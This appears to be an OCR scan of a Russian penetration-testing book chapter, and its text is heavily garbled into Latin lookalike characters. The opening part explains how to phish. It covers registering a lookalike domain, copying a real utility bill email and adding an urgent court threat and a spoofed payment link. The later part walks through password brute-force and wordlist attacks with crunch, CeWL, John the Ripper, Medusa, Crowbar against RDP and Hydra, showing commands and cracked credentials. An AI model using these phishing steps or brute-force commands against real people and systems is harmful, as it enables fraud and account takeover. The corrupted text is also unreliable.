paborunky 6ecriarHoro ITO Gyaer npusiTHO TosryurTh o Hoseril rog 500 pyo6aeit
OT AaHOHUMHOTO (JIATO/IETEIS.

Pexomenmyio mpucMOTpeThCs K cepBepaM ¢ TOMUHYTHOU OTLIATOH, BEb B TO BPEMH,
KOT/[a BBI HE TPOBOJIMTE TECTHI HA IPOHUKHOBEHUE, OHU MOTYT OBITh OTKJIFOUEHBI 11 BB
3a 9TO He OyJIeTe IIATHUTb.
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Wrak, Mbl orpeiesnauch ¢ cepsepoM. [Ipeanomoxum, 4To B TaHHOM IIPUMEPE MbI
GyJIeM UCITOIb30BaTh Halll THYHbIi cepBep. Cremyonuii mar — ato gomex. Jlomen
OYeHb BasKEH: ECJIM CepBep TOJydYaTe st HacTparBasIi HoJiee-MeHee TPAMOTHBIE CITETU-
AJIMCTBI, TO TAM HABEPHSIKA CTOUT 3AIUTA OT MOJIETbHBIX IOMEHOB U Ballle MTUCHMO
YIATSIT B ABTOMATHYECKOM PeskiMe. [109TOMY HeOOXOMUMBI TOMEHbI, MAKCHMATBHO
MOXO’KHE Ha Te, ¢ KOTOPBIX BBl COOMPaeTech pacchliaTh mouty. Hampumep, 1oMeH
micrasoft.com ouenn MOX0K Ha microsoft.com. TyT Bce orpaHYeHO TOTBKO Barmeit
(hanrasmeii.

Cuepyioliee, 4To HaM HEOOXOAMMO, — MOJYyYUuTh oOpasel nucbma (puc. 8.7). [la,
eCTb MOJIb30BaTENH, KOTOPhIE MPUMYT 38 YHCTYIO MOHETY CaAMOE Y/KaCHOE C BU3Y-
aJIbHof/,I n FpaMMaTI/I'-IeCKOﬁ TOYKH 3pEHUA «TBOPUYECTBO», HO, K CHACTbIO, TAKUX
OCTaIMCh eANHUIIBL I CO3anus ITOX0KEro Ha HacTOSIIee IIMChbMa TTonpobyiTe
BCTYIIUTH B NEPENNCKY C TOI OpraHM3alueil, OT UMEHU KOTOPOIi BbI COOMpaeTech
paccCbljiaThb ITMCbMa. Ecan BB X0TUTE JejlaTb 3TO OT UMEHU 6aHKa, HallumurTe
B 6aHK, SBHEﬁTe M BOITPOC 110 ITOBOJY TIPE/IOCTABJIEHUA KPeJiuTa NI BJIOKEHUA
WHBECTUIMI, U BBl HABEPHSIKA MOJIydUTe OTBET. ECii BB cOOMpaeTech OTIPABJISITH
IINCbMa COprZ[HI/IKaM OT MME€HHN KOMITaHWU, B KOTOpOﬁ OHUn pa6OTaIOT, TO BbI 3HaeTe,
4TO Aenarh. Hanummre, 4To XOTUTE KyIIUTH ABE TOHHBI IIEMEHTa, €CJIM, KOHEYHO,
OpraHU3alusl €ro IMPOJAET.

MnaTexHbii gokyMeHT "CueT Ha ONNaTY XWNOro NOMEeLLeHUs!, B ouwancu v
KOMMYHanbHbIX M Npouux ycnyr" 3a ®espanb 2023r.

AO «EVIPLL CMNE» 3 gaepans, 1314 noa e

Kewy: sam

1 dpaiin  Crausrs (295 KE)  Coxpawire & Ofnaxe

Yeamaemeid nompeSumens!

AD «EVIPL| CNG» nanpasnneT Ha Baw anpec 3nekTpoHHOM NovTh CHET HA ONNATY HHNGM NOMELEHNA,
KOMMYHENGHBIX 1 NEONHX YoryT 3a Desp: 2023r. (o,

Mo Bonp & "p cYeToR Heok: pALA B yTIp Ly

. He ATe Ha Hero!
Ecnm nomyueHHpe haiinsl HE YA3ETCA OTKPLITL NPW NPOCMOTPE AUKS, COKD WX Ha pn
3aTem oTRpodiTe, [ina npocioTpa U pacnevatsy CuéTa p YEM KC! CRenyIWMe np : Adobe

Reader sepcun 8.0 w ebiwe wnn Foxit Reader.
HeofxoqiMele NRATPAMKE MOXHO CKAYATR N0 AAPECAN:

Puc. 8.7. OpurnHan cueta 3a kKOMMyHanbHble ycnyrn ot EMPL Cr6

Ternepb HECKOIBKO MOAUDUIMPYEM MTUCHMO U ¢/ieTaeM WH(DOPMAIIMIO B HeM GoJiee
MyTarotiel ¥ MpuabIBaonieil k aeiictsuio (puc. 8.8). /L7151 5TOro MOKHO BOCIIONIB30-
BaThCs1 JIOOBIM TEKCTOBBIM PefakTopoM, u vi, u LibreOffice Writer.
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Ha nam B3TJIA, TOJTYYUJIOCH OYEHD JIa’Ke XOpolIee MMCbMO, 110 CTUJTIO HEOTJINYNMOE
OT OpUTHHAaJIA. EZII/IHCTBGHHOG7 4YTO CMYTUT BHUMATEJIbHOTO IT1OJIb30BaTEJIsA, — JIOMEH.
Kax YK€ TOBOPUJIOCh, H€O6XOI[I/IMO HCIIOJIb30OBAaTh YTO-TO MaKCHUMaAJIbHO ITOXOJKee.

OTHP&BJIHE}M TIMCbMa HYKHBIM aJipecaTaM, JIy4dIIe BCEro OTIIPaBJIATH O/ITHO IMMUCbMO
O/THOMY Y€JIOBEKY, 1 HaUYMHAEM JK/1aTh, HEJAPOM JK€ 9TOT METO/ aTaKN HAa3bIBACTCA

Mnaesa 08 e CoumanbHas MHXeHepus

Subject | Tnamessinii gokymMent "CHeT o GRANTY MWAOFD AOMELIEHWE, KOMMYHARRHR W nposW yonyr™ 3a Denpans 2123,

[Body Tt~ | Varioble Wit B g1 T B I[U k== EEISBY O

AD «EMPLU ClB» Hanpasanet Ha Baw agpec anekTpoHHON NnosTel CUET Ha ONAATY HMAOTO NOMELLEHHA, KOMMYHANBHLIX
M NPoyMX yoT 3a Pesp 2023r. (cm. ).

Hano y1o 0CTh B obbeme 78 152 pyGnaei HeobxogmMmo onnatuTe Ao 16 mapta 2003 roga. B
npoTMoHom cayyac geno Byaer nepegano cygebimm weno 3

Moy mis uHd GEETIT TH W NUIECHTE B8 MUMHO HE Hawem caire hitps:/feircspb.se,

H d . He fite Ha Hera!

Ecan nonyueHHbie dainbl He YAAETCA OTKPBITE NPM NPOCMOTPE NOMTOBOFO ALMKA, COXPAHWTE MX HA KOMNBIOTED W 3ATEM
OTHPOATE. fINA NPOCMOTRA W pacne: Cuitta peue MENDALIOBATE CARAYIOUMEe nporpamm: Adobe Reader
Beporn 8.0 1 Buiwe wan Foxit Reader.

HeofixofMmble NPOrPamMMbl MOKHO CKAUATH NO 8ApEcam:

Puc. 8.8. OTpeaakTMpOBaHHbI/ BapuMaHT NMCbMa

CO3BYYHO CJIOBY <<pr6aJIKa>>.




B3nom naponen

B coBpeMennom Mupe ecTb MHOTO pa3HbIX BUIOB ayTenTudukaiuu. CyuecTByior
METO/Ibl, UCIIOJIb3YIole OnoMeTpudecKue ganuble (CKaHUpOBaHUE OTIIEYATKOB
MasibIa, PagysKHONH 060JOUYKH TJIasa, JUIA, TOJI0ca), JOMOJTHUTEIbHBIC YCTPOCTBA
(MOGUIBHBII TesiehOH, reHepaTop MapoJiell, CMapT-KapThl); eCTh CIIOCOObI, KOTOPbIE
YUUTBIBAIOT ke Takue napameTpbl, Kak GPS-koopauHaThl 1 MaHepa HabUpaTh
MapoJh Ha KaaBuaType. U Bce ke 10 CUX TIOP CaMbIM TIOIYJISIPHBIM METOZIOM ayTeH-
TUu(UKAIUY SBJISIETCS BBOJI JIOTUHA U TTAPOJIS.

Hapa JIOTVH U TIapOJIb 110 YMOJYaHWIO UCITOJIb3YETCS IS ayTeHTI/I(I)I/IKaLII/II/I BO BCeX
CHUCTEMaAXx, 6leI) TO Be6-HpI/I]IO>KeHI/Ie, ofepaninoHHasa CUCTEMa NJIN 6asa JTaHHDBIX.

B 570i1 r71aBe OyIyT PACCMOTPEHBI JIBA OCHOBHBIX CIIEHAPUSL:
® BIIEPBOM CJIydae HaM OYIET I0CTYITHA TOJIBKO (hopMa JIJIst BBOJIA JIOTUHA U TIAPOJIST;

® BO BTOPOM CJIydyae MbI IOJYYUM AOCTYI K Gase JaHHBIX (2 BB IOMHUTE, YTO
Jaske POCTOI (ailyi MOJKET curTaThest 6a30il JaHHBIX) U YBUAUM TOJBKO XEIITH
apoJiett.

OCHOBHbIE METObI

[l Havazia pacCMOTPHUM Ba OCHOBHBIX METOJA aTaky Ha mmapoun. Ha camom gene
crmoco60B B3JIOMATh TTAPOJIb OTPOMHOE MHOKECTBO, HO B OCHOBHOM BCE OHU SIBJISTIOTCS
MoardUKaIUIMu 1160 IpsaMoro nepebopa, 1ubo nepebopa 1o cIoBapio.

IIpsmoii nepeGop mapoaeit, uau <brute force», XoTg rapaHTUPOBAHHO W HAXOMT
[apOJIb [IPH JIOCTATOYHOM KOJIMUECTBE BPEMEHH, MMEET Psl CYHIECTBEHHBIX HEJI0CTAT-
KOB. Bo-T1epBbIX, TaKKe aTaky MOTYT 3aHATH OYE€Hb MHOTO BPEMEHU, OCOOEHHO TIPH
pabore ¢ JTMHHBIMU TAPOJISIMHU, BKIIOUAMOIIUMI IMPOKHUIT [HAIa30H CUMBOJIOB. Bo-
BTOPBIX, aTaKK € TIPSIMBIM MepebopoM TpeOyIoT GOJTBINIX BBIYUCIUTENbHBIX PECYPCOB,
YTO CTAHOBUTCST TPOGJIEMOTT TTPU OTPaHIYEHHBIX BO3MOKHOCTX. K TOMY ke MHOTTIE
CUCTEMBI TIPELyCMaTPUBAIOT OJIOKHPOBKY aKKayHTa WJIH 3aMe/IJIEHIE TIPOTIECCa BBO/IA
[apoJisi MOCJIe OIPE/IEJIEHHOT0 KOJIMUECTBA HeY/IauHbIX TIOMBITOK, YTO OrPAHUYNBAET
s dexTuBHOCTD arak «brute force». IIpu 3TOM TaKOTO pojia aTaku OOBIYHO JIETKO
06HAPYKUBAIOTCS CUCTEMaMK Oe30TTaCHOCTH U3-3a GOJIBIIIOTO YHC/IA MOIBITOK BXO/IA,
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4TO MOKET MpuBecTH K Osokuposke IP-azpeca, ¢ KoToporo coepiraercst ataka. Ha-
KOHEII, MOJIarasich UCKIIOYUTETHHO Ha TIPAMOIT mepe6Gop, MOKHO YITyCTUTH JAPYTHE,
6osee ahheKTUBHBIE CITOCOOBI B3JIOMA, TAKHUE KaK COIMATbHAA WHIKEHEPHS], aTaKK
0 CJIOBAPIO WJIU MCIIOJIb30BAHNE YTEUeK JaHHBIX. [[09TOMY XOTs MIpsiMOit miepebop
MOKET OBITh YACTBHIO CTPATETUH, OH OOBIYHO UCIIOJIB3YETCS KAK CaMbIi TOCJIEIHIIT
BapMaHT B CJIyyae, KOT/ZA BCe OCTATbHbIE METO/IBI He IaJIN JOJKHOTO Pe3ysbraTa.

Araku no caoBapio. CyTh METO/Ia 3aKJIIOYACTCST B TOM, YTO aTaKyoOIUil moaGupaeT
[apoJib He cAydaiiHbiM 00pa3oM, a Geper c10Ba 13 3apaHee MoAroTOBJIEHHOTO (haiiia
¢ mapossimu., Pasymeercst, epebop He BefeTcst BpyuHyto. JIJisi IpOBeIeHUsT TaKUX
aTak (HE3aBUCUMO OT TOTO, TiepeOupaeTe BbI TaPOJIN HATPSIMYIO WU HCIIOJB3yeTe
CIIMCKH, 9TO TOPA3/10 MPEeATIOYTUTETbHEE ) TTPUMEHSIeTCS CIIeINaTbHBII MHCTPYMEH-
Tapuil, KOTOPBII MBI PACCMOTPUM B CJIeIyIONUX Pas/iesax.

PaboTa co cnnckamu naponen

Tze ke B3aTh daiin ¢ mapoasmu? Kali Linux yske coaep:KUT HECKOJIBKO TAKUX CITHC-
KOB B aupexTopun /usr/share/wordlists/. OnHaKo eciu BaM 9TOro MOKaKeTCs MaJIo,
TO JIOTIOJIHUTE/IbHBIE MATEPUAJIBI BCET/IA MOJKHO HaiiTu B unTepHeTe. Hanpumep, Ha
carite https://wiki.skullsecurity.org/index.php?title=Passwords ecTb oueHb XOpoIitas mo1-
6opka caosapeil. Tam ectb daii, cogepskamuii 500 caMbIX HOIYJISPHBIX [IAPOJIEH,
WJTH TIAPOJIN TIOJTh30BATEIel TAKUX TIOMYJISIPHBIX cepBrCcoB, kKak Hotmail w MySpace.

Ho y takux cioBapeii ecTh ofiuH HEIOCTATOK. BoJIbIIast UX 4acTh CO3AETCS AHTIIOTO-
BOPSIIUMUE crielnaarcTamu. MOKHO ¢ YBEPEHHOCTBIO CKa3aTh, uTo B Poccuu takue
napoJn, kak «matthews win <hooters», He OyyT MOIB30BATHCST OCOOON TOTTYJISIP-
HOCTBIO. 3ato mapoJin «krasotkas u «chebureks M0KHO BeTpeTnTh 10BOJIBHO YacTo.

Hepezixo o MCHob3yIOT 711 CO3/IaHuS [TapoJiell Ha3BaHue cBoei podeccui, 1aTy
POKICHM, Ha3BaHue opranusari. [10aToMy B HEKOTOPBIX CITy4asx cCaMOCTOATETbHO
COBJIAHHBIN CITUCOK TTapoJiell Oy/IeT HAMHOTO JIydllie HAliJIEHHBIX B MHTEPHETE,

PasymeeTcst, co3aTh BpyuHyto criucok xotst 6u1 n3 1000 maposieit — 3agava 10BOJbHO
caokHast. PaceMOTpuM criocoObl aBTOMATH3AIIH TTPOTIECCa.

B cocras Kali Linux BxoauT yrusmra crunch, koropas MokeT reHeprupoBaTh CIIMCKA
CJIOB Ha OCHOBE 3a/JaHHbIX 110JIb30BaTe/IeM IIPABUIL

[TpuBemeM HECKOTBKO TIPUMEPOB €€ UCTIOIb30BaH. [IpeirmomoKmM, Mbl 3aMeTHIIH,
KaK 4eJIOBEK BBOJUT 11apoJib. HaMm yzanoch 3aIlOMHUTE, 4TO OH UCIIOJIb3YET TOJBKO
MaJIeHbKMe JIATHHCKIE OYKBBI rgtyus B KosimuecTse ot 6 10 9:

root@kali:~# crunch 6 9 rgtyus -o pass.txt

Crunch will now generate the following amount of data: 118459584 bytes
112 MB

0 GB

o TB

0 PB

Crunch will now generate the following number of lines: 12083904
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Crunch mo3BoJIsIeT TeHEPUPOBATH TTAPOJIH TI0 OTIPeieIeHHOMY Tabmomy. [l1st aToro
HCITIOJIb3YIOTCS CIIEIUATBHBIE OTIEPATOPB: @ — CTPOYHBIE OYKBBI, , — MPOIMICHBIE
GYKBBI, % — HUGDPBI, » — CIENUATBHBIE CUMBOJIBL.

YacTo ObIBaET TaK, YTO AIMUHUCTPATOP HA MPEATTPUATHH UCIOTB3YET JJIST TPOCTOTHI
3aTIOMUHAHUS OIHY U TY K€ THIOBYIO KOHCTPYKITMIO TIAPOJIS /IS BCEX CEPBEPOB.
[TpeamomoKuM, 4T €ero MapoJIu BCEria HAYMHAIOTCS ¢ 3arJIaBHON GYKBBI, COIEPIKAT
YeThIPE CTPOUHBIE OYKBBI U YEThIPE MU PLI:

root@kali:~# crunch 9 9 -t ,@EE@%%%%

Crunch will now generate the following amount of data: 1188137600000 bytes
1133096 MB

1106 GB

1 TB

0 PB

Crunch will now generate the following number of lines: 118813760000
Aaaaaboeo

Aaaaaeol

Aaaaalee2

Aaaaabee3

Aaaaaooosd

Aaaaalees

Aaaaaboe6

Aaaaabee7

3Has MOJIUTUKY GE30MIACHOCTH KOMIIAHMK XOTsI ObI B OTHOIIEHUU HAPOJIed, MOKHO
CO3/1aTh CITUCOK U3 CTPOK, COJIEPKAIINX, HATIPUMED, I€BSITh CUMBOJIOB, OJIHY 3aTJIaB-
HYI0 OYKBY 1 OIHY LIU(pPY.

Bropoii criocob cospanusa coGCTBEHHOTO, NEPCOHATUZNPOBAHHOTO CIIUCKA MapoJIeil —
3TO UCIIOJb30BaHUe CJIOB U (dpa3 ¢ caiita opranusaiuu. [IpeacraBsre Ha CEKYHLY,
4TO BBl HE JIyUIINH CIEeNUAINCT 10 NHOOPMAIIMOHHON (6e3011aCHOCTH, a PAL0BOIL
MeHeJ[’Kep TYPUCTUUECKOTO areHTcTBa. M BAPYT, B caMblil HEMTOAXOASAIINN MOMEHT,
OC mnpocut Bac cMEHUTD 1IAPOJib. Bbl BBO/IUTE TIEPBOE, YTO IIPUXO/UT BaM B FOJIOBY
1 XOPOIIO 3allOMUHAETCsT, HanpumMep <« Typrmsa2023».

YuuThiBasg, 4TO AEATENbHOCTH JI060I KOMIAHUN B TOW MJIM WHOI CTENeHN Ha-
XOAUT CBOE OTPAKEHME Ha ee BeO-cTpaHryKe, ObLI0 Obl pa3yMHO IIPOCMOTPETH €e,
HaWTH camble YaCTO BCTPeYaeMble CJI0BA M UCIIOIb30BATh UX JIJIST CO3IAHMS CITHCKA
BO3MOXKHBIX TTapoJieil. [[yist JTaHHOM 11eJ1M MOKHO MCI0JIb30BaTh MHCTPYMEHT TTO]]
nazsanuem cewl (Custom Word List Generator), KOTOpbIii TaKKe BXOJUT B COCTAB
Kali Linux:

root@kali:~# cewl -w au_gov.txt -d 6 -m 7 au-gov.tv
CeWL 5.2 (Some Chaos) Robin Wood (robin@digi.ninja) (https://digi.ninja/)

B pannom ciyyae yrumta OyaeT mpocMaTpUBaTh caiiT MaKCMMyM Ha 6 cTpaHuIl
B rIyOMHY ¥ UCKaTh CJIOBA JJIMHONH MUHUMYM U3 7 CUMBOJIOB. Bee pesyJibrathl pa-
6OTBI OYIYT 3aIKCaHbl B (DailJ:
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root@kali:~# cat au_gov.txt
Keyboard
determined
messing

messed
troubleshooting
acronymn
TANSTAAFL
Launch
Shopping
specialization
expressed
comfortably
flowers
repaired
Maintaining
specializing
incompetent
worrying
permits
grandma
occasion
plugged
renewed

barely
concerned

OpHako CO3MaHHBIN HA OCHOBE JAHHBIX OJIHOTO CaliTa CIMCOK Tapojeil He Gymer
adbextuBHBIM. Ha ceropuamumii 1eHb TPakTUUYECKN Ha BCEX MPEAIPUITUAX €CTh
MOTUTHKA GE30MaCHOCTH, OTOBAPUBAIOTIAST CTIOKHOCTH apoJieil. bosee TOro, HUKTO
He CTOUT Ha/l T0JIb30BaTesIeM U He CMOTPUT, COOTBETCTBYET JIX €T0 IIapoJib MOJIUTHKE
6e30MacHOCTH: CHCTEMA caMa He JIACT eMy BBECTH T1apoJib Kopode 8 CUMBOJIOB, He
cojiepKaIinii 3aryaBayo OykBy u 1udpy. [ToaToMy MOTyYeHHBI Ha MPEABIIYIIEM
Iare CIUCOK Hao GyIeT HECKOIBKO MOAUGDUIIMPOBATD.

Jlnst Mmouduranmuu maposieil BocmosbayeMcst mporpammoii John the Ripper (JtR).
JtR — 310 MHCTPYMEHT /IS B3TOMa TapoJieid, epBOHAYATBHO Pa3paboTaHHbIH /ISt
Unix, HO BIOCJIEACTBUM aJalTUPOBAHHBII /I MHOTHX JPYTUX ONEPAIIOHHBIX
cucreM, Bkitouas Windows, MacOS u Linux. JtR criocobeH moabupats mapoJiu, uc-
TOJTB3YsT PA3TIMYHBIE METOIBL: TIPSAMOTT TIepebop, CTOBapHBIE ATaKH, ATAKU € UCITOb-
30BaHMEM PALYKHBIX TaOMHI] (IPEBAPUTEIHLHO BHIYUCIEHHAS TaOIUIIA BOSMOKHBIX
XeIlei ¥ COOTBETCTBYIONIMX MM MapoJieil), a TaksKe rHOpUIHBIE aTaku (KOMOWHATIHST
CJIOBApPHBIX aTak 1 mpsiMoro mepe6opa). John the Ripper moameps:kimBaeT MHOKECTBO
dopmaros xemmposanus, Bkaodas DES, MD35, Blowfish, Kerberos u muorue apyrue.

YTo6bI UBMEHUTH TTAPAMETPHI PAOOTHI TAHHOI MPOTPAMMBI, TTPUAETCS OTPETAKTHPO-
BaTh KOH(UTYPAIIMOHHBII (haiisn TakiuM 06pa3oM, 4ToObI OHa 106aBIIsiIa IBE U PLI
K KasKJIOMY TIapoJIt0 U3 CO3aHHOro ciucka. JlobaBum B KoHell (aiiia /etc/john/
john.conf mpaBuJio, cexyst KOTOpOoMy TporpamMma OyaeT T06aBIATH MO [Be UMD
B KOHI[E KQXK/IOTO MaPOJIs:



ATaKu Ha cepBUCbl 261

[List.Rules:AddNum]
$[e-91%[0-9]

Tenepn 3amycTuM JtR 1 B KauecTBe MapaMeTpa yKaxkeM yske coOPaHHBII HAMY CITHCOK
napoJeit:

root@kali:~# cat john --wordlist /root/au_gov.txt --stdout --rules:AddNum > /
root/re_au_gov.txt

words:84567 time:0:00:00:00 DONE (Tue Oct 15 18:15:25 2022) w/s: 2242K
current: Programming99

root@kali:~# cat /root/re_au_gov.txt

Aebcsupport25
Aebcsupport26
Aebcsupport27
Aebcsupport28
Aebcsupport29
Aebcsupport3e

ATaKu Ha cepBUCHI

Tenepb, Koria Mbl PA306PATUCH ¢ OOIUMU TIPUHITIIAMU 1 CO3/1aIN HEOOXOMMbIE
CIUCKHM Mapoieit, mepeiizeM k mpaktuke. OHIalH-aTaK| HATIPABJIEHBI TIPEXK/IE BCErO
Ha TTo60P mapoell Kk cepBrcam, 06eCTIeTMBAIONINM YAATEHHYIO Ay TEHTU(HUKATIIIO.
Ito MoryT ObITh BeO-tipuiiokenust, SSH, SMTP, FTP u apyrue cepBuCHI.

CTouT yIOMSAHYTb O PUCKAX TaKuX aTak. Kak Bbl OHSAIM U3 TIPEAbIAYIIEN YaCTH,
nepebop mapoJiell 1o ca0Bapio, He TOBOPS yiKe O TIPAMOM Tiepebope mapoJieil, — To
POTIECC, KOTOPOIT MOJKET TIOTPE6OBATE I0CTATOYHO MHOTO BPEMEHU U HE O[HY COTHIO
ITOIIBITOK. COBPEME‘HHBIG CHUCTEMDI 3allTUThI OYE€Hb 6BICTpO OTpearupyroT Ha COTHIO-
JIPYTYIO TOTIBITOK ayTeHTH(hUKAIIUN OJIHOTO U TOTO K€ MOJIb30BATENS B KOPOTKUIA
[POMEKYTOK BPEMEHH ¥ B JIyUIlleM cJydae mpocTo 3abmokupyor [P-aapec araxy-
fortero. He 3a6biBaiite 1 0 TOM, 4TO MOYTH BCE CHCTEMBI GIOKUPYIOT TIOJb30BATEST
B TOM CJIy4ae, eCJI OH BBEJ HEBEPHbIH MaposIh 60Jree TPeX WIIH TSATH Pas.

Heo6xoauMo npaBuiIibHO BEIOPATH 1eJib JIJIs aTaky. Tak, aTaka Ha TaKoii CepBHC, KakK
RDP, zaiimer GoJibliie BpeMeHr. ITO CBI3aHO C T€M, YTO BaM MPUAETCs I0AOUpaTh
TOJIBKO OJIMH TIAPOJIb 32 CECCUIO U BbI HE CMOKETE /I€IATh ATO B HECKOJIBKO [TOTOKOB.
3aro, nogo6pas 1maposb K RDP, Bbl nosyuure 6oJiblie BO3MOKHOCTENH U ¢BOOOIBI
HeHCTBUI B OYIyIIeM, HEXKEIIM YeM B CJIyUae ¢ BeO-PHIOKEHHEM.

Medusa

Medusa — 210 ObICTPBIIL 1 YAOOHBII MHCTPYMEHT JJist 1iepebopa mapoJeit. Ona noj-
JlepKUBaeT MHOKECTBO ITPOTOKOJIOB JJid NpoBenennd atak, Bkiatodass HTTP, FTP,
SMB (Server Message Block), SMTP (Simple Mail Transfer Protocol), SSH (Secure
Shell), Telnet u 1. 1. OaHoii U3 cusbHBIX cTopod Medusa sIB/IsIeTCS MHOTOIIOTOYHOCTD,
GJarogapst ei MosIBJISIETCST BOBMOMKHOCTD OCYIIECTBIISTh HECKOJIBKO ITONBITOK BXO/A
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OJIHOBPEMEHHO, UTO 3HAUNTENBHO YBEINYNBAET CKOPOCTH nepebdopa. V3-3a Moyib-
HO#T cTpyKTYphl Medusa JIerko afantupoBarh JJist MOAJEPKKI HOBBIX TIPOTOKOJIOB
u cepsucoB. Medusa nojepsknBaet (GyHKIUIO HEKOTOPBIX TIPOTOKOJIOB (HATTPUMED,
SMB) «pass-the-hash», koropast mo3BosisieT ayTeHTUGUIUPOBATH TOJIH30BATEIS
¢ momotnibio NTLM- nnu Lanman-xera mapoJisi, a He caMOoTO TTapoJis.

Medusa Takske noguepskusaer araku Ha ¢aitanl .htaccess. Maitnn htaccess uc-
HOJIb3YIOTCS Ha cepBepax Hoj yupasierneM Apache. OHu MOTYT IPUMEHSITHCS 11T
3aIMUTHI KOHKPETHBIX KATATOTOB C MTOMOIIBIO ayTEHTU(UKAIINK Ha OCHOBE TTapoJieil.
Maiin htaccess csizpiBaercs ¢ daiinmom .htpasswd, KOTOPBI COREPKUT UMEHA TOJIb-
30Baresieil U XeIUPOBAHHbBIE TAPOJIH.

[Tpoxemonctpupyem pabory Medusa Ha mpumepe moabopa maposis st J0CTya
K 3alUIIeHHON AupeKToprn BeO-cepBepa:

root@kali:~/ medusa -h www.mycorp.com -s -p /root/Documents/500-passwords.txt
-M http -m DIR:/administrator -T 10 -u admin

Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks
<jmk@foofus.net>

ACCOUNT CHECK: [http] Host: www. mycorp.com (1 of 1, © complete) User: admin
(1 of 1, © complete) Password: 123456 (1 of 1 complete)

ACCOUNT FOUND: [http] Host: www. mycorp.com User: admin Password:

123456 [SUCCESS]

B maHHOM IIpuMepe Mbl COBEPIIMJIN aTaKy Ha cailT oz yupasierrem CMS Joomla.
B xauecTBe nmapameTpoB UCIOJIb30BAHBI:

® -hB-h www.mycorp.comyKa3bIBaeT Ha I[eJIeBOI XOCT;

® -5 yKasbIBaeT Ha TO, YTO JO0JIKHO UCIIOJIb30BaThCst 6E3011acHOe COEAMHEHE, eCIIH
9TO BO3MOJKHO;

® -p B-p /root/Documents/500-passwords.txt 3ajaer ¢aiii co CIIMCKOM IapoJIei,
KOTOPBII OyAeT IPUMEHSThCS IIPH aTaKe;

® -MB-M http ykasbIiBaeT Ha MO/YJIb, KOTOPBIiA 6y/:[eT IIPUMEHATHC IIPU aTaKe,

® -mB-m DIR:/administrator UCIIOJIB3YETC A OTIPEIETIECHNS TOTMOTHUTETbHBIX
ImapaMeTpoB MOIYJIA,

e -TB-T 10 3a7aeT KOJIMYECTBO IIOTOKOB, KOTOPbIE OYAYT UCIIOAb30BATHCS IIPU
aTake,

® -u B-u admin 3aj1acT UMsI TOJIB30BATEJIST, KOTOPOE OYET IPUMEHSITHCS TIPY aTaKe.

Crowbar

Crowbar — WHCTPYMEHT, U3HAYATHLHO Pa3pabOTaHHbIN JIJIST ATAKU HA TTPOTOKOJIBI
¢ 061mmM kaodoM, Harpumep OpenVPN. OH ocHOBaH Ha IPUMEHEHUN METO/Ia I1e-
pebopa 110 ceccusiM, cpadaThIBAOIIEro B CIyYastx, KOrAa 0ObIYHbIE METO/BI Iiepebopa
OKa3bIBAIOTCS HEed(HEKTUBHBIMY P NCIOJIb30BAHNN HEKOTOPBIX ITPOTOKOJIOB.
Crowbar ucnosnbsyercs ajs atak Ha pasandnbie cepsuchl: OpenVPN, SSH private
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key, Remote Desktop Protocol ¢ mogmepsxkkoit NLA, VNC key authentication.
ITpu arake na OpenV PN, SSH private key uinu VNC key authentication Crowbar
[BITAETCA MOAKIIOYUTHCS K CEPBEPY € TIOMOIIBIO KIOYEH, YKa3aHHBIX B CIICI[U-
anpaOoM (aitie. K RDP-cepBepy Crowbar mbITaeTcst HOAKIIOYUTHCS ¢ TOMOTIHIO
YKA3aHHBIX YYETHBIX JAHHBIX W ONPEAEISAET YCIEIHOCTD TOTBITKA, OCHOBBIBASICH
Ha OTBETE cepBepa.

Crowbar ob6mazaer MUPOKUMEI BO3MOKHOCTSIMU J1JIsI TOHKOI HACTPOMKY IPENCTOSI-
Ieil aTaky, BK/IIOYas 3aaHue TaiiM-ayToB, IoAaepKKy IPv6 u ciocobnocts obpa-
6aTbIBaTh OTPHIIATEIbHBIE OTBETHI cepBepa. BBHY TOTO 4TO Ha JaHHBI MOMEHT 9Ta
YTUJIATA SBJSETCS OJHON U3 HEMHOTUX, YMEIIINX KOPPEKTHO TOAOUPATH TTAPOJIH
K COBpeMeHHbIM BepcusiM RDP-cepBepoB, UMEHHO Ha HUX U OYET TIPOAEMOHCTPH-
poBaHa ee paboTa.

[l Hadasia HaM Hazo OyzeT MHCTALIMPOBATh JaHHYIO YTUIATY U3 CTaHAAPTHHIX
pemnosutopues Kali Linux:

root@kali:~# sudo apt install crowbar

Iasee ocytecTBIM MOAO0P MAPOJIEit, HCIOMB3YsI CJAEYIOTIIE TapaMeTPLI:
® -b rdp yKa3bpIBaeT Ha TUI UCIIOJIb3YEMOI0 IIPOTOKOJIA;
® -s 192.168.10.4/32 3aj1aeT a/ipec cepBepa, Ha KOTOPBIN MBI OCYIIECTBIISAEM aTaKy;

® -u admin yKasbiBaeT UMsI MOJIb30BATEJISI, IJisI KOTOPOTO MBI OyieM Toa0uparh
IapoJIb;

-C /home/itsecbook/mylist.txt yka3pIBaeT Ha CIIUCOK MapoJiel;

® -n 1ompezensieT KOJIUYeCTBO OAHOBPEMEHHDBIX ITOKIIOUEHUN.

root@kali:~# crowbar -b rdp -s 192.168.10.4/32 -u admin -C /home/itsecbook/
mylist.txt -n 1

2022-12-18 ©9:11:02 START

2022-12-18 ©09:11:02 Crowbar v0.3.5-dev

2022-12-18 ©9:11:02 Trying 192.168.10.4:3389

2022-12-18 ©9:11:02 RDP-SUCCESS : 192.168.10.4:3389 - admin:TestPassl2
2022-12-18 ©9:11:02 STOP

Hydra

THC-Hydra, yacto HassiBaemas npocro Hydra, — a1o yruiaura, paspaboraHHas
111 Totbopa maposIeil U MoIePKUBAIOIIAsT aTAaKU KaK METOIOM repebopa, Tak U Ha
ocHoBaHuu cioBapeit. Qo us ocobernocreil Hydra siBistercst nopiepikka mmpo-
koro criektpa nporokosio: FTP, HTTP, IMAP, MS-SQL, MySQL, POP3, SMTP,
SSH, Telnet u . 1. 10 Hemaer Hydra yHuBepcasbHBIM HHCTPYMEHTOM JIJTST B3JIOMA
mapoJiell pa3INnIHBIX CUCTEM U TTPUITOKEHUT.

Hydra rakse obnazaer hyHKIMEr MHOTOIIOTOYHOTO BBINOJIHEHMUS, 4TO MO3BOJISAET €if
GicTpo 06pabarbiBaTh GoJbIIHE 06BEMBI TaHHBIX. OHA MOKET COBEPIIATh HECKOJIBKO
TOIBITOK MOA00PA MapajiIeIbHO, TEM CAMBIM YCKOPSIs TPOIIeCC TecTupoBanust. JIpy-
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TUM BOKHBIM penmytiecTBoM Hydra siBnsercst ee ru6rocTsh. [lop3oBaTe MOTyT
HACTPOUTB €€ IO/] CBOU KOHKPETHbIE TPeOOBAHMSI.

